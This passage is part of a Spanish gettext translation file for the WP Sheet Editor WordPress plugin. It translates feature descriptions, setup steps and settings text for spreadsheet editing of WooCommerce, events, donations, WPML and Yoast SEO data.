                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:262 msgid "WooCommerce Coupons Spreadsheet" msgstr "Hoja de Cálculo de Cupones de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:265 msgid "" "

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, " "Advanced Search by any field , Auto generate hundreds of coupons, Update " "hundreds of coupons at once, and more.

                  " msgstr "" "

                  Ver los cupones de WooCommerce en una hoja de cálculo. Editar todos los " "campos de cupones. Búsqueda avanzada por cualquier campo. Generar " "automáticamente cientos de cupones. Actualizar cientos de cupones a la vez. " "Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:276 msgid "WooCommerce Orders Spreadsheet" msgstr "Hoja de Cálculo de Pedidos de WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:279 msgid "" "

                  View and dispatch all the Orders quickly. Advanced Search by any field " "(shipping method, taxes, VAT, payment methods, customers, products, etc), " "Export orders and customers information including guest customers; edit " "thousands of orders quickly, and more.

                  " msgstr "" "

                  Ver y despachar todos los pedidos rápidamente. Búsqueda avanzada por " "cualquier campo (método de envío, impuestos, IVA, métodos de pago, clientes, " "productos, etc.). Exportar pedidos e información de clientes incluyendo " "clientes invitados. Editar miles de pedidos rápidamente. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:290 msgid "Comments, Reviews, and Order Notes Spreadsheet" msgstr "Hoja de Cálculo de Comentarios, Reseñas y Notas de Pedido" #: wp-sheet-editor/dev/wp-sheet-editor.php:293 msgid "" "

                  It is the best way to manage your comments, WooCommerce customer " "reviews, event reviews, testimonials, and order notes in a spreadsheet. You " "can make advanced searches by any field (keyword, order note, status, find " "comments by post type, and all the fields). You can bulk edit them, delete " "all at once, export them to excel or external systems, import comments and " "reviews from other systems, and more.

                  " msgstr "" "

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los " "clientes de WooCommerce, los comentarios de los eventos, los testimonios y " "las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas " "por cualquier campo (palabra clave, nota de pedido, estado, encontrar " "comentarios por post type, y todos los campos). Puedes editarlos " "masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas " "externos, importar comentarios y reseñas de otros sistemas, y más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:304 msgid "Custom Database Tables Spreadsheet" msgstr "Hoja de Cálculo de Tablas de Bases de Datos Personalizadas" #: wp-sheet-editor/dev/wp-sheet-editor.php:307 msgid "" "

                  One Spreadsheet for Every Custom Database Table added by other plugins. " "Live edit in the cells, Bulk Edit, Make advanced searches by any field, " "export and import, bulk delete, move information between sites, edit " "thousands of items, and more.

                  " msgstr "" "

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base " "de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz " "ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. " "Importar. Eliminar filas en lotes. Y mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:319 msgid "Easy Digital Downloads Spreadsheet" msgstr "Hoja de Cálculo de Easy Digital Downloads" #: wp-sheet-editor/dev/wp-sheet-editor.php:322 msgid "" "

                  View all the EDD products in a spreadsheet, create downloads and files " "in bulk, edit hundreds of products at once using formulas, Advanced searches " "using multiple fields, etc.

                  " msgstr "" "

                  Ver todas las descargas de Easy Digital Downloads en una hoja de cálculo. " "Crear descargas y archivos masivamente. Editar cientos de productos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos. Y mucho más." #: wp-sheet-editor/dev/wp-sheet-editor.php:333 msgid "Events Spreadsheet" msgstr "Hoja de Cálculo de The Events Calendar" #: wp-sheet-editor/dev/wp-sheet-editor.php:336 msgid "" "

                  View all the events in a spreadsheet, create events in bulk, edit " "hundreds of events at once using formulas, Advanced searches using multiple " "event fields, etc.

                  " msgstr "" "

                  Ver todos los eventos del plugin The Events Calendar en una hoja de " "cálculo. Crear eventos masivamente. Editar cientos de eventos a la vez " "usando fórmulas. Búsquedas avanzadas usando múltiples campos de eventos. Y " "mucho más.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:347 msgid "Give Spreadsheet" msgstr "Hoja de Cálculo de GiveWP" #: wp-sheet-editor/dev/wp-sheet-editor.php:350 msgid "" "

                  This includes spreadsheets to manage Donation Forms, Donations, and " "Donors. You can bulk edit, export, import, and quickly manage your donations " "website created with GiveWP

                  " msgstr "" "

                  Hojas de cálculo para gestionar Formularios de Donación, Donaciones y " "Donantes del plugin GiveWP. Puedes editar en masa, exportar, importar y " "gestionar rápidamente tu sitio web de donaciones.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:361 msgid "Display the spreadsheet editor in the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/wp-sheet-editor.php:364 msgid "" "

                  Create new spreadsheets with custom columns and Share the Spreadsheets " "with your Users or Employees on the Frontend. Useful for marketplaces where " "vendors should edit products in the spreadsheet, allow post or event " "submissions on the Frontend, events directories, Web Apps, Custom " "Dashboards, etc.

                  " msgstr "" "

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las " "hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para " "los mercados donde los vendedores deben editar los productos en la hoja de " "cálculo, permitir el envío de entradas o eventos en el frontend, directorios " "de eventos, aplicaciones web, tableros personalizados, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:374 msgid "WooCommerce - Products Integration" msgstr "Integración con Productos WooCommerce" #: wp-sheet-editor/dev/wp-sheet-editor.php:377 msgid "" "

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of " "products, including Variable Products, Downloadable Products, External " "Products, Simple Products. You can edit all product fields in the " "spreadsheet, including attributes, images, etc.

                  " msgstr "" "

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo " "de productos, incluyendo Productos Variables, Productos Descargables, " "Productos Externos, Productos Simples. Puedes editar todos los campos de " "productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:386 msgid "Custom post types" msgstr "Tipos de post personalizados" #: wp-sheet-editor/dev/wp-sheet-editor.php:389 msgid "" "

                  Edit restaurant menus, courses, projects, portfolios, and all custom " "post types.

                  " msgstr "" "

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos " "los post types personalizados.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:396 msgid "Columns renaming" msgstr "Renombrar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:399 msgid "" "

                  You can rename the columns of the spreadsheet.
                  Example. Instead of " "showing “Post author” on the spreadsheet, you can change it to “Uploaded by”." "

                  " msgstr "" "

                  Puedes cambiar el nombre de las columnas de la hoja de cálculo. En lugar " "de mostrar \"Autor\" en la hoja de cálculo, puedes cambiarlo a \"Subido " "por\".

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:400 #: wp-sheet-editor/dev/wp-sheet-editor.php:412 #: wp-sheet-editor/dev/wp-sheet-editor.php:505 #: wp-sheet-editor/dev/wp-sheet-editor.php:533 msgid "Install for Free" msgstr "Instalar Gratis" #: wp-sheet-editor/dev/wp-sheet-editor.php:408 msgid "YOAST SEO" msgstr "YOAST SEO" #: wp-sheet-editor/dev/wp-sheet-editor.php:411 msgid "" "

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  " msgstr "" "

                  Editar el título, la descripción, la palabra clave y la puntuación de " "SEO en la hoja de cálculo

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:420 msgid "Advanced Search" msgstr "Búsqueda Avanzada" #: wp-sheet-editor/dev/wp-sheet-editor.php:423 msgid "" "

                  Find posts by keyword, taxonomies, author, date, status, or custom " "fields.

                  Search in multiple fields with advanced operators: =, !=, " "<, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio " "with stock < 20, or products from category Apple without featured image, or " "products containing the keyword \"Google\" without image gallery.

                  " msgstr "" "

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o " "campos personalizados.

                  Buscar en múltiples campos con operadores " "avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar " "productos de la categoría Audio con inventario < 20, o productos de la " "categoría Manzana sin imagen destacada, o productos que contengan la palabra " "clave \"Google\" y que no tengan galerías de imágenes.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:430 msgid "Formulas" msgstr "Fórmulas" #: wp-sheet-editor/dev/wp-sheet-editor.php:433 msgid "" "

                  Edit Hundreds of Posts at Once with just a few clicks. Search and " "replace, Replace urls and phrases, save values to fields in bulk, copy " "values between fields, merge fields, etc..

                  Examples: Copy regular " "price to sale price, update product attributes names, etc.

                  " msgstr "" "

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y " "reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. " "Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: " "Copiar el precio normal al precio de rebajado, actualizar los nombres de los " "atributos de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:440 msgid "Math Formulas" msgstr "Fórmulas matemáticas" #: wp-sheet-editor/dev/wp-sheet-editor.php:443 msgid "" "

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced " "math formulas. Example, increase prices by 10% , manage inventory , etc. Run " "any math formula.

                  You can use multiple fields in the formula, for " "example, \"Regular price x Inventory / Sales price

                  " msgstr "" "

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando " "fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, " "gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, \"Precio " "normal x Precio de inventario / Precio rebajado

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:450 msgid "Advanced Custom Fields" msgstr "Advanced Custom Fields" #: wp-sheet-editor/dev/wp-sheet-editor.php:453 msgid "" "

                  Advanced Custom Fields metaboxes appear in the Spreadsheet " "Automatically. So you can edit custom fields easily.

                  " msgstr "" "

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la " "hoja de cálculo automáticamente. Así que puedes editar campos personalizados " "fácilmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:460 msgid "Edit Custom Fields in Spreadsheet" msgstr "Editar Campos Personalizados en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:463 msgid "" "

                  You can create columns for custom fields.
                  Edit page settings added " "by your theme, event details, products information, etc.

                  " msgstr "" "

                  Puedes crear columnas para campos personalizados.
                  Editar la " "configuración de la página añadida por el tema, los detalles del evento, la " "información de los productos, etc.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:470 msgid "Edit Posts and Pages in Spreadsheet" msgstr "Editar Entradas y Páginas en una Hoja de Cálculo" #: wp-sheet-editor/dev/wp-sheet-editor.php:473 msgid "

                  Edit default post fields in spreadsheet.

                  " msgstr "

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:481 msgid "WooCommerce - BASIC integration" msgstr "WooCommerce - Integración BASICA" #: wp-sheet-editor/dev/wp-sheet-editor.php:484 msgid "" "

                  You can edit simple products only. Available columns: title, url, " "description, date, SKU, regular price, sale price, stock status, manage " "stock, stock quantity.

                  More columns and product types available as " "premium extension.

                  " msgstr "" "

                  Sólo puedes editar productos simples. Columnas disponibles: título, URL, " "descripción, fecha, SKU, precio normal, precio rebajado, estado de " "inventario, gestión del inventario, cantidad de existencias.

                  Más " "columnas y tipos de producto disponibles como extensión premium.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:492 msgid "Columns visibility" msgstr "Visibilidad de las columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:495 msgid "

                  You can show, hide, and sort columns in the spreadsheet.

                  " msgstr "" "

                  Puedes mostrar, ocultar y cambiar el orden de las columnas en la hoja de " "cálculo.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:501 msgid "Autofill cells" msgstr "Autocompletar las celdas" #: wp-sheet-editor/dev/wp-sheet-editor.php:504 msgid "" "

                  You can auto fill cells (copy) by dragging the cell corner into other " "cells, as you can do in excel.

                  " msgstr "" "

                  Puedes rellenar automáticamente las celdas (copiar) arrastrando la " "esquina de la celda a otras celdas, como lo haces en Excel.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:512 msgid "Basic search" msgstr "Búsqueda básica" #: wp-sheet-editor/dev/wp-sheet-editor.php:514 msgid "" "

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  " msgstr "" "

                  Buscar en la hoja de cálculo. Buscar filas por palabra clave, estado y " "autor.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:522 msgid "Columns resizing" msgstr "Redimensionar columnas" #: wp-sheet-editor/dev/wp-sheet-editor.php:524 msgid "" "

                  Resize columns in the spreadsheet and save it for future sessions.

                  " msgstr "" "

                  Puedes cambiar el tamaño de las columnas en la hoja de cálculo y " "guardarlo para sesiones futuras.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:530 msgid "Duplicate (Tool)" msgstr "Duplicar (Herramienta)" #: wp-sheet-editor/dev/wp-sheet-editor.php:532 msgid "" "

                  Add a \"duplicate\" tool to the spreadsheet. You can select one row " "(post, product, coupon, etc.) and create a lot of copies.

                  Example. " "Create 100 products with the same tags, dimensions, attributes, and " "variations. And only change a couple of fields manually.

                  " msgstr "" "

                  Añadir una herramienta de \"duplicar\" a la hoja de cálculo. Puedes " "seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias." "

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, " "atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:546 msgid "Everything you need for All Posts Types and Products" msgstr "Todo lo que necesitas para todos los post types y productos" #: wp-sheet-editor/dev/wp-sheet-editor.php:553 #: wp-sheet-editor/dev/wp-sheet-editor.php:566 msgid "Buy bundle" msgstr "Comprar el paquete" #: wp-sheet-editor/dev/wp-sheet-editor.php:559 msgid "Everything you need for Users and Customers" msgstr "Todo lo que necesitas para los usuarios y clientes" #: wp-sheet-editor/dev/wp-sheet-editor.php:671 msgid "" "

                  WP Sheet Editor

                  \r\n" "

                  Do you want to install the premium plugin that you " "purchased? Follow these steps:

                  \r\n" "
                    \r\n" "
                  1. If you were using the free version of the plugin " "before the purchase, you need to uninstall the free version now
                  2. \r\n" "
                  3. When you purchased the plugin, you received an email " "with the download link and license key
                  4. \r\n" "
                  5. Now go to this " "page and click on the \"Upload\" button at the top
                  6. \r\n" "
                  7. Upload the premium zip file
                  8. \r\n" "
                  9. Activate the plugin
                  10. \r\n" "
                  11. You will see a screen asking for a license, enter " "your license key
                  12. \r\n" "
                  13. Done. Now you should see the welcome page where you " "can set up the plugin and start using it
                  14. \r\n" "
                  \r\n" "

                  If you need help, you can contact us

                  " msgstr "" "

                  WP Sheet Editor

                  \n" "

                  ¿Quieres instalar el plugin premium que compraste? Sigue " "estos pasos:

                  \n" "
                    \n" "
                  1. Si estabas usando la versión gratuita del plugin " "antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. \n" "
                  3. Cuando compraste el plugin, recibiste un correo " "electrónico con el enlace de descarga y la clave de licencia.
                  4. \n" "
                  5. ahora ve a esta " "página y haz clic en el botón \"Subir plugin\".
                  6. \n" "
                  7. Sube el archivo zip del plugin.
                  8. \n" "
                  9. Activa el plugin.
                  10. \n" "
                  11. Verás una pantalla solicitándote la licencia. " "Ingresa la licencia.
                  12. \n" "
                  13. Listo. Ahora deberías ver la página de bienvenida " "donde puedes configurar y comenzar a usar el plugin.
                  14. \n" "
                  \n" "

                  Si necesitas ayuda, puedes contactarnos

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:1046 msgid "Quick Answers" msgstr "Respuestas rápidas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1047 msgid "You can read our FAQ with a list of hundreds of questions" msgstr "" "Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de " "preguntas" #: wp-sheet-editor/dev/wp-sheet-editor.php:1051 msgid "Guides and Tutorials" msgstr "Guías y Tutoriales" #: wp-sheet-editor/dev/wp-sheet-editor.php:1052 msgid "We have +200 tutorials and guides on our blog" msgstr "Tenemos CIENTOS de tutoriales y guías en nuestro blog" #: wp-sheet-editor/dev/wp-sheet-editor.php:1057 msgid "Get instant help in the live chat + email support during business hours" msgstr "" "Obtén ayuda instantánea en el chat en vivo + soporte por correo electrónico " "en horas de oficina" #: wp-sheet-editor/dev/wp-sheet-editor.php:1094 msgid "WP Sheet Editor Usage" msgstr "Uso de WP Sheet Editor" #: wpml/inc/post.php:132 wpml/inc/term.php:74 msgid "WPML - Missing translations in these languages" msgstr "WPML - Faltan traducciones en estos idiomas" #: wpml/inc/post.php:132 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find products " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "productos que no tienen traducción al español ni al alemán." #: wpml/inc/post.php:369 wpml/inc/term.php:247 msgid "WPML - Duplicate" msgstr "WPML - Duplicar" #: wpml/inc/post.php:377 wpml/inc/term.php:255 msgid "" "Enter multiple language codes separated by commas and we will create copies " "of the main language. For example: en, es. Existing languages will be " "skipped." msgstr "" "Ingresa los códigos de varios idiomas separados por comas y crearemos copias " "del idioma principal. Por ejemplo: en, es. Los idiomas existentes serán " "omitidos." #: wpml/inc/post.php:389 wpml/inc/term.php:228 msgid "WPML - Translation of" msgstr "WPML - Traducción de" #: wpml/inc/post.php:408 msgid "WPML - Relationship" msgstr "WPML - Relación" #: wpml/inc/post.php:419 msgid "Duplicate from the main language" msgstr "Duplicar desde el idioma principal" #: wpml/inc/post.php:420 msgid "Translate separately" msgstr "Traducir por separado" #: wpml/inc/post.php:435 wpml/inc/term.php:267 msgid "WPML - Language" msgstr "WPML - Idioma" #: wpml/inc/post.php:446 wpml/inc/term.php:281 msgid "" "You can change the language of this post. If the translation for the new " "language exists, this change will not be applied." msgstr "" "Puedes cambiar el idioma de esta entrada. Si existe la traducción para el " "nuevo idioma, este cambio no se aplicará." #: wpml/inc/post.php:458 msgid "WPML - Translation priority" msgstr "WPML - Prioridad de traducción" #: wpml/inc/term.php:74 msgid "" "For example, select \"Spanish\" and \"German\" here and we'll find terms " "that don't have spanish translations or german translations." msgstr "" "Por ejemplo, selecciona \"español\" y \"alemán\" aquí y encontraremos " "términos que no tienen traducción al español ni al alemán." #: yoast-seo/yoast-seo.php:27 msgid "" "Please update the WP Sheet Editor plugin and all its extensions to the " "latest version. The features of the plugin \"" msgstr "" "Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la " "última versión. Las características del plugin \"" #: yoast-seo/yoast-seo.php:238 msgid "SEO Title" msgstr "Título SEO" #: yoast-seo/yoast-seo.php:260 msgid "SEO Description" msgstr "Descripción SEO" #: yoast-seo/yoast-seo.php:278 msgid "SEO Keyword" msgstr "Palabra clave de SEO" #: yoast-seo/yoast-seo.php:299 msgid "SEO FB title" msgstr "Título SEO para Facebook" #: yoast-seo/yoast-seo.php:315 msgid "SEO FB description" msgstr "Descripción SEO para Facebook" #: yoast-seo/yoast-seo.php:331 msgid "SEO FB image" msgstr "Imagen SEO para Facebook" #: yoast-seo/yoast-seo.php:349 msgid "SEO TW title" msgstr "Título SEO para Twitter" #: yoast-seo/yoast-seo.php:365 msgid "SEO TW description" msgstr "Descripción SEO para Twitter" #: yoast-seo/yoast-seo.php:381 msgid "SEO TW image" msgstr "Imagen SEO para Twitter" #: yoast-seo/yoast-seo.php:399 msgid "SEO Canonical URL" msgstr "URL Canónica de SEO" #: yoast-seo/yoast-seo.php:421 msgid "SEO No Index" msgstr "SEO - No indexar" #: yoast-seo/yoast-seo.php:449 msgid "SEO" msgstr "SEO" #: yoast-seo/yoast-seo.php:474 msgid "SEO Primary %s" msgstr "%s SEO Primario" #~ msgid "Post ID" #~ msgstr "ID" #~ msgid "The cells will display the date in the format: YYYY-MM-DD" #~ msgstr "Las celdas mostrarán la fecha en el formato: AAAA-MM-DD" #~ msgid "Generated formula:" #~ msgstr "Fórmula generada:" #~ msgid "Execute formula on future posts automatically (Advanced users only)" #~ msgstr "" #~ "Ejecutar la fórmula en futuros posts automáticamente (Sólo usuarios " #~ "avanzados)" #~ msgid "" #~ "If you mark this option , when you create or update a post in the " #~ "spreadsheet, we will check if the post matches the formula parameters and " #~ "execute the formula automatically on that post. For example. When you " #~ "create a product with category apples we can set the description " #~ "automatically, or when you change the SKU we can update the downloadable " #~ "files URLs automatically." #~ msgstr "" #~ "Si marcas esta opción, cuando crees o actualices un post en la hoja de " #~ "cálculo, comprobaremos si el post coincide con los parámetros de la " #~ "fórmula y ejecutaremos la fórmula automáticamente en ese post. Por " #~ "ejemplo. Al crear un producto con la categoría \"Manzanas\" podemos " #~ "establecer la descripción automáticamente, o al cambiar el SKU podemos " #~ "actualizar las URL de los archivos descargables automáticamente." #~ msgid "Execute on future posts only" #~ msgstr "Ejecutar sólo en futuros posts" #~ msgid "" #~ "Here you can view all the formulas saved for ongoing execution. These " #~ "formulas will be executed on posts matching the filters when they are " #~ "created or updated in the spreadsheet." #~ msgstr "" #~ "Aquí puedes ver todas las fórmulas guardadas para la ejecución en curso. " #~ "Estas fórmulas se ejecutarán en los post que coincidan con los filtros " #~ "cuando se creen o actualicen en la hoja de cálculo." #~ msgid "" #~ "Note. If you want to modify saved formulas you have to delete the formula " #~ "and create it again in the formulas builder." #~ msgstr "" #~ "Nota. Si quieres modificar fórmulas guardadas, tienes que borrar la " #~ "fórmula y crearla de nuevo en el editor de fórmulas." #~ msgid "You haven't saved formulas yet." #~ msgstr "Aun no has guardado fórmulas." #~ msgid "Field to update:" #~ msgstr "Campo a actualizar:" #~ msgid "Formula type:" #~ msgstr "Tipo de fórmula:" #~ msgid "Formula parameters:" #~ msgstr "Parámetros de la fórmula:" #~ msgid "Parameter:" #~ msgstr "Parámetro:" #~ msgid "All" #~ msgstr "Todo" #~ msgid "" #~ "Replace existing value with a random value from this list. Enter the " #~ "values separated with |" #~ msgstr "" #~ "Reemplazar un valor existente con un valor aleatorio de esta lista. " #~ "Ingresa valores separados con |" #~ msgid "" #~ "Note. More than 75 copies at once might overload the server. Do it in " #~ "small batches.
                  You can continue if you think your server can handle it." #~ msgstr "" #~ "Nota. Más de 75 copias a la vez podrían sobrecargar el servidor. Hazlo en " #~ "lotes pequeños.
                  Puedes continuar si crees que tu servidor puede " #~ "manejarlo." #~ msgid "Edit in Google Sheets" #~ msgstr "Editar en Google Sheets" #~ msgid "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgstr "" #~ "1. Open Google Sheets." #~ "
                  2. Click on \"wp sheet editor\" in the menu
                  3. Enter this link in " #~ "the \"quick access\" option in the Google Sheet sidebar." #~ msgid "" #~ "Use this link privately for security reasons, this link expires after one " #~ "usage." #~ msgstr "" #~ "Usa este enlace de forma privada por razones de seguridad, este enlace " #~ "expira después de un uso." #~ msgid "JWT is not configurated properly, please contact the admin" #~ msgstr "" #~ "JWT no está configurado correctamente, por favor contacta con el " #~ "administrador" #~ msgid "The quick access link has expired or it does not exist" #~ msgstr "El enlace de acceso rápido ha caducado o no existe" #~ msgid "Note. This works in Google Chrome only." #~ msgstr "Nota. Esto sólo funciona en Google Chrome." #~ msgid "" #~ "Add this code at the beginning of the .htaccess file in the root " #~ "directory of your website. It is required for authenticating requests " #~ "between Google Sheets and WordPress" #~ msgstr "" #~ "Añade este código al principio del archivo .htaccess en el directorio " #~ "raíz de tu sitio web. Es necesario para autentificar las solicitudes " #~ "entre Google Sheets y WordPress" #~ msgid "" #~ "Install the \"WP Sheet Editor\" chrome extension. Install" #~ msgstr "" #~ "Instalar la extensión \"WP Sheet Editor\" en Chrome. Instalar" #~ msgid "" #~ "Open Google Sheets. Click here" #~ msgstr "" #~ "Abrir Google Sheets. Clic aquí" #~ msgid "In Google Sheets > top toolbar. Open the \"WordPress\" option." #~ msgstr "" #~ "En Google Sheets > barra de herramientas superior. Abre la opción " #~ "\"WordPress\"." #~ msgid "" #~ "Copy this access link and paste it in Google Sheets. Get quick access link" #~ msgstr "" #~ "Copia este enlace de acceso y pégalo en Google Sheets. Obtener enlace de acceso rápido " #~ msgid "" #~ "You must use it privately for security reasons, this link expires after " #~ "one usage." #~ msgstr "" #~ "Debes utilizarlo en privado por razones de seguridad, este enlace expira " #~ "después de un uso." #~ msgid "Error 8391. You dont have enough permissions to view this page." #~ msgstr "Error 8391. No tienes suficientes permisos para ver esta página." #~ msgid "Add new posts" #~ msgstr "Añadir nuevos posts" #~ msgid "Deactivate everything. Use the REST API only" #~ msgstr "Desactivar todo. Usar sólo la API REST" #~ msgid "" #~ "If you activate this option we will deactivate all the spreadsheets, " #~ "settings pages, and the entire plugin will become invisible to the user. " #~ "Only the REST API will remain active. This is useful for advanced " #~ "scenarios when you only use our REST API to keep websites synchronized " #~ "with external spreadsheets or systems. When this option is active, our " #~ "settings page will moved under the general settings menu because our " #~ "sheet editor menu will be removed" #~ msgstr "" #~ "Si activas esta opción, desactivaremos todas las hojas de cálculo, " #~ "páginas de configuración y el plugin completo se volverá invisible para " #~ "el usuario. Sólo la API REST permanecerá activa. Esto es útil para " #~ "escenarios avanzados cuando sólo usas nuestra API REST para mantener los " #~ "sitios web sincronizados con hojas de cálculo o sistemas externos. Cuando " #~ "esta opción está habilitada, nuestra página de configuración se moverá " #~ "bajo el menú de configuración general porque nuestro menú de editor de " #~ "hojas será eliminado" #~ msgid "" #~ "The taxonomy columns (i.e. categories, tags) use a limited dropdown by " #~ "default for selecting one term only and the column can be copy pasted. We " #~ "have a fancy dropdown selector, which has better auto complete, allows " #~ "selecting multiple options, etc. but it uses more server resources and it " #~ "doesn't allow copy pasting in these cells. You can activate it here if " #~ "you prefer a better dropdown over the ability to copy paste." #~ msgstr "" #~ "Las columnas de taxonomía (es decir, las categorías, las etiquetas) " #~ "utilizan un menú desplegable limitado por defecto para seleccionar un " #~ "solo término y la columna se puede copiar y pegar. Tenemos un selector " #~ "desplegable de avanzado, que tiene mejor autocompletado, permite " #~ "seleccionar múltiples opciones, etc. pero utiliza más recursos del " #~ "servidor y no permite copiar y pegar en estas celdas. Puedes activarlo " #~ "aquí si prefieres un desplegable mejor que la capacidad de copiar y pegar." #~ msgid "Enable the REST API" #~ msgstr "Habilitar la API REST" #~ msgid "" #~ "The REST API can be used for interacting with our spreadsheet from " #~ "external apps." #~ msgstr "" #~ "La API REST puede utilizarse para interactuar con nuestra hoja de cálculo " #~ "desde aplicaciones externas." #, fuzzy #~| msgid "Parent Spreadsheet:" #~ msgid "Current spreadsheet: %s" #~ msgstr "Hoja Superior:" #~ msgid "0 rows" #~ msgstr "0 filas" #~ msgid "" #~ "New extension - WooCommerce Coupons - View/edit coupons in a spreadsheet. " #~ "Advanced search, Bulk Edit hundreds of coupons, etc. Perfect for the " #~ "christmas season. View Extension)" #~ msgstr "" #~ "Nueva extensión - Cupones WooCommerce - Ver/editar cupones en una hoja de " #~ "cálculo. Búsqueda avanzada, edición masiva de cientos de cupones, etc. " #~ "Perfecto para la temporada navideña. Ver " #~ "Extensión )" #~ msgid "" #~ "New extension - EVENTS - View/edit events, venues, and organizers in a " #~ "spreadsheet. Advanced search, etc. View " #~ "Extension)" #~ msgstr "" #~ "Nueva extensión - EVENTOS - Ver/editar eventos, lugares y organizadores " #~ "en una hoja de cálculo. Búsqueda avanzada, etc. Ver Extensión )" #~ msgid "" #~ "New feature - Added support for Advanced Custom Fields > relationship " #~ "fields. Paid users only. Upgrade)" #~ msgstr "" #~ "Nueva característica - Añadido soporte para Campos Personalizados " #~ "Avanzados > campos de relación. Sólo usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved tools: formulas engine. Now you can make advanced searches and " #~ "apply formulas to the search results. Paid users only. Upgrade)" #~ msgstr "" #~ "Herramientas mejoradas: motor de fórmulas. Ahora puedes hacer búsquedas " #~ "avanzadas y aplicar fórmulas a los resultados de la búsqueda. Sólo " #~ "usuarios de pago . Actualizar)" #~ msgid "" #~ "Improved sheet: Moved settings to a dropdown to simplify the UI and added " #~ "new context menu options" #~ msgstr "" #~ "Hoja mejorada: Se ha movido la configuración a un menú desplegable para " #~ "simplificar la interfaz de usuario y se han añadido nuevas opciones de " #~ "menú contextual" #~ msgid "" #~ "Improved tools: columns visibility. Now you can delete unnecessary " #~ "columns and improved sorting and disable logic" #~ msgstr "" #~ "Herramientas mejoradas: visibilidad de columnas. Ahora puedes eliminar " #~ "columnas innecesarias y mejorar la lógica de ordenación y desactivación" #~ msgid "Fixed more than 13 bugs" #~ msgstr "Arreglados más de 13 bugs" #~ msgid "Improved 7 features" #~ msgstr "7 características mejoradas" #~ msgid "Updated 6 extensions." #~ msgstr "Actualizadas 6 extensiones." #~ msgid "View the entire changelog" #~ msgstr "" #~ "Ver el registro de cambios completo " #~ msgid "Dropdown with predefined options" #~ msgstr "Desplegable con opciones predefinidas" #~ msgid "" #~ "In this page you can select the label for every column displayed in the " #~ "spreadsheet editor. Each post type has its own set of options." #~ msgstr "" #~ "En esta página puedes seleccionar la etiqueta para cada columna mostrada " #~ "en el editor de la hoja de cálculo. Cada tipo de post tiene su propio " #~ "conjunto de opciones." #~ msgid "

                  " #~ msgstr "

